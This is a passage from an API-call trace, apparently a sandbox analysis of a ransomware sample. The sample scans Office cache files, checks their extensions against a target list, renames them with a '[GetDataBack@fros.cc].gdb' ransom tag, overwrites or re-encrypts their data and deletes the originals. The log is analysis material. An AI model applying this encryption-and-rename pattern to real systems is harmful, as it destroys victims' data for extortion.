(lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString=".1cd") returned 4 [0129.593] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0129.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0129.593] lstrlenW (lpString=".jpg") returned 4 [0129.593] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0129.593] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0129.593] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0129.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0129.928] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=36233052) returned 1 [0129.928] CloseHandle (hObject=0x1ac) returned 1 [0129.928] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0129.928] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.928] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0129.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0129.929] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0x0) returned 1 [0129.929] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0129.929] ReadFile (in: hFile=0x1ac, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.935] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0129.935] ReadFile (in: hFile=0x1ac, lpBuffer=0x35a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35a0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.966] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e4f7e4 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.966] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7a4 | out: lpNewFilePointer=0x0) returned 1 [0129.967] ReadFile (in: hFile=0x1ac, lpBuffer=0x35e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e4f7b0, lpOverlapped=0x0 | out: lpBuffer=0x35e0058*, lpNumberOfBytesRead=0x2e4f7b0*=0x40000, lpOverlapped=0x0) returned 1 [0129.984] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0129.985] WriteFile (in: hFile=0x1ac, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2e4f828, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f828*=0xc0104, lpOverlapped=0x0) returned 1 [0130.009] SetEndOfFile (hFile=0x1ac) returned 1 [0130.302] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0130.302] WriteFile (in: hFile=0x1ac, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0130.303] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0130.303] WriteFile (in: hFile=0x1ac, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0130.304] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2e4f7f4 | out: lpNewFilePointer=0x0) returned 1 [0130.304] WriteFile (in: hFile=0x1ac, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e4f800, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2e4f800*=0x40000, lpOverlapped=0x0) returned 1 [0130.307] CloseHandle (hObject=0x1ac) returned 1 [0130.307] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.308] lstrlenW (lpString=".doc") returned 4 [0130.308] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0130.308] lstrlenW (lpString=".docx") returned 5 [0130.308] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0130.308] lstrlenW (lpString=".pdf") returned 4 [0130.308] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0130.308] lstrlenW (lpString=".xls") returned 4 [0130.308] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0130.308] lstrlenW (lpString=".xlsx") returned 5 [0130.308] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0130.308] lstrlenW (lpString=".ppt") returned 4 [0130.308] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0130.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.308] lstrlenW (lpString=".zip") returned 4 [0130.308] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0130.308] lstrlenW (lpString=".rar") returned 4 [0130.308] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0130.308] lstrlenW (lpString=".bz2") returned 4 [0130.308] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0130.308] lstrlenW (lpString=".7z") returned 3 [0130.308] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0130.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.308] lstrlenW (lpString=".dbf") returned 4 [0130.308] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0130.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.308] lstrlenW (lpString=".1cd") returned 4 [0130.308] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0130.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.311] lstrlenW (lpString=".jpg") returned 4 [0130.311] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0130.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.311] lstrlenW (lpString=".doc") returned 4 [0130.311] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0130.311] lstrlenW (lpString=".docx") returned 5 [0130.311] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0130.311] lstrlenW (lpString=".pdf") returned 4 [0130.311] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0130.311] lstrlenW (lpString=".xls") returned 4 [0130.311] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0130.311] lstrlenW (lpString=".xlsx") returned 5 [0130.311] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0130.311] lstrlenW (lpString=".ppt") returned 4 [0130.311] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0130.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.311] lstrlenW (lpString=".zip") returned 4 [0130.311] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0130.311] lstrlenW (lpString=".rar") returned 4 [0130.311] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0130.311] lstrlenW (lpString=".bz2") returned 4 [0130.311] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0130.312] lstrlenW (lpString=".7z") returned 3 [0130.312] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0130.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.312] lstrlenW (lpString=".dbf") returned 4 [0130.312] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0130.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.312] lstrlenW (lpString=".1cd") returned 4 [0130.312] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0130.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0130.312] lstrlenW (lpString=".jpg") returned 4 [0130.312] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0130.312] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0130.312] lstrlenW (lpString="setup.exe") returned 9 [0130.312] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0130.312] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=1377656) returned 1 [0130.313] CloseHandle (hObject=0x1ac) returned 1 [0130.313] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0130.313] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0130.313] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.313] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0130.313] GetLastError () returned 0x0 [0130.313] ReadFile (in: hFile=0x1ac, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0xffff0, lpOverlapped=0x0) returned 1 [0130.337] WriteFile (in: hFile=0x1a8, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xffff0, lpOverlapped=0x0) returned 1 [0130.541] ReadFile (in: hFile=0x1ac, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x50588, lpOverlapped=0x0) returned 1 [0130.555] WriteFile (in: hFile=0x1a8, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x50590, lpOverlapped=0x0) returned 1 [0130.564] ReadFile (in: hFile=0x1ac, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0130.564] WriteFile (in: hFile=0x1a8, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xe6, lpOverlapped=0x0) returned 1 [0130.564] SetEndOfFile (hFile=0x1a8) returned 1 [0130.564] CloseHandle (hObject=0x1a8) returned 1 [0130.564] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.564] SetEndOfFile (hFile=0x1ac) returned 1 [0130.568] CloseHandle (hObject=0x1ac) returned 1 [0130.568] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.568] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.569] lstrlenW (lpString=".doc") returned 4 [0130.569] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0130.569] lstrlenW (lpString=".docx") returned 5 [0130.569] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0130.569] lstrlenW (lpString=".pdf") returned 4 [0130.569] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0130.569] lstrlenW (lpString=".xls") returned 4 [0130.569] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0130.569] lstrlenW (lpString=".xlsx") returned 5 [0130.569] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0130.569] lstrlenW (lpString=".ppt") returned 4 [0130.569] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.569] lstrlenW (lpString=".zip") returned 4 [0130.569] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0130.569] lstrlenW (lpString=".rar") returned 4 [0130.569] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0130.569] lstrlenW (lpString=".bz2") returned 4 [0130.569] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0130.569] lstrlenW (lpString=".7z") returned 3 [0130.569] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.569] lstrlenW (lpString=".dbf") returned 4 [0130.569] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.569] lstrlenW (lpString=".1cd") returned 4 [0130.569] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.569] lstrlenW (lpString=".jpg") returned 4 [0130.569] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.570] lstrlenW (lpString=".doc") returned 4 [0130.570] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0130.570] lstrlenW (lpString=".docx") returned 5 [0130.570] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0130.570] lstrlenW (lpString=".pdf") returned 4 [0130.570] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0130.570] lstrlenW (lpString=".xls") returned 4 [0130.570] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0130.570] lstrlenW (lpString=".xlsx") returned 5 [0130.570] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0130.570] lstrlenW (lpString=".ppt") returned 4 [0130.570] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0130.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.570] lstrlenW (lpString=".zip") returned 4 [0130.570] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0130.570] lstrlenW (lpString=".rar") returned 4 [0130.570] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0130.570] lstrlenW (lpString=".bz2") returned 4 [0130.570] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0130.570] lstrlenW (lpString=".7z") returned 3 [0130.570] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0130.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.570] lstrlenW (lpString=".dbf") returned 4 [0130.570] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0130.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.570] lstrlenW (lpString=".1cd") returned 4 [0130.570] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0130.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0130.570] lstrlenW (lpString=".jpg") returned 4 [0130.570] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0130.570] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0130.571] lstrlenW (lpString="ose.exe") returned 7 [0130.571] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0130.840] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2e4fa94 | out: lpFileSize=0x2e4fa94*=174440) returned 1 [0130.840] CloseHandle (hObject=0x220) returned 1 [0130.843] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0130.843] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0130.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0130.843] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.843] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.843] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0130.844] GetLastError () returned 0x0 [0130.844] ReadFile (in: hFile=0x220, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x2a968, lpOverlapped=0x0) returned 1 [0130.852] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0x2a970, lpOverlapped=0x0) returned 1 [0130.855] ReadFile (in: hFile=0x220, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesRead=0x2e4fa4c*=0x0, lpOverlapped=0x0) returned 1 [0130.855] WriteFile (in: hFile=0x1d4, lpBuffer=0x3560020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e4f814, lpOverlapped=0x0 | out: lpBuffer=0x3560020*, lpNumberOfBytesWritten=0x2e4f814*=0xe2, lpOverlapped=0x0) returned 1 [0130.855] SetEndOfFile (hFile=0x1d4) returned 1 [0130.855] CloseHandle (hObject=0x1d4) returned 1 [0130.855] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0130.855] SetEndOfFile (hFile=0x220) returned 1 [0130.856] CloseHandle (hObject=0x220) returned 1 [0130.857] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0130.857] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0130.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.857] lstrlenW (lpString=".doc") returned 4 [0130.857] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0130.857] lstrlenW (lpString=".docx") returned 5 [0130.857] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0130.857] lstrlenW (lpString=".pdf") returned 4 [0130.857] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0130.857] lstrlenW (lpString=".xls") returned 4 [0130.857] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0130.857] lstrlenW (lpString=".xlsx") returned 5 [0130.857] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0130.857] lstrlenW (lpString=".ppt") returned 4 [0130.857] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0130.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0130.857] lstrlenW (lpString=".zip") returned 4 [0130.857] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0130.857] lstrlenW (lpString=".rar") returned 4 [0130.857] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0130.857] lstrlenW (lpString=".bz2") returned 4 [0130.857] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0130.857] lstrlenW (lpString=".7z") returned 3 [0130.857] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0130.857] lstrlenW (lpString="C:\\MSOCache\\All 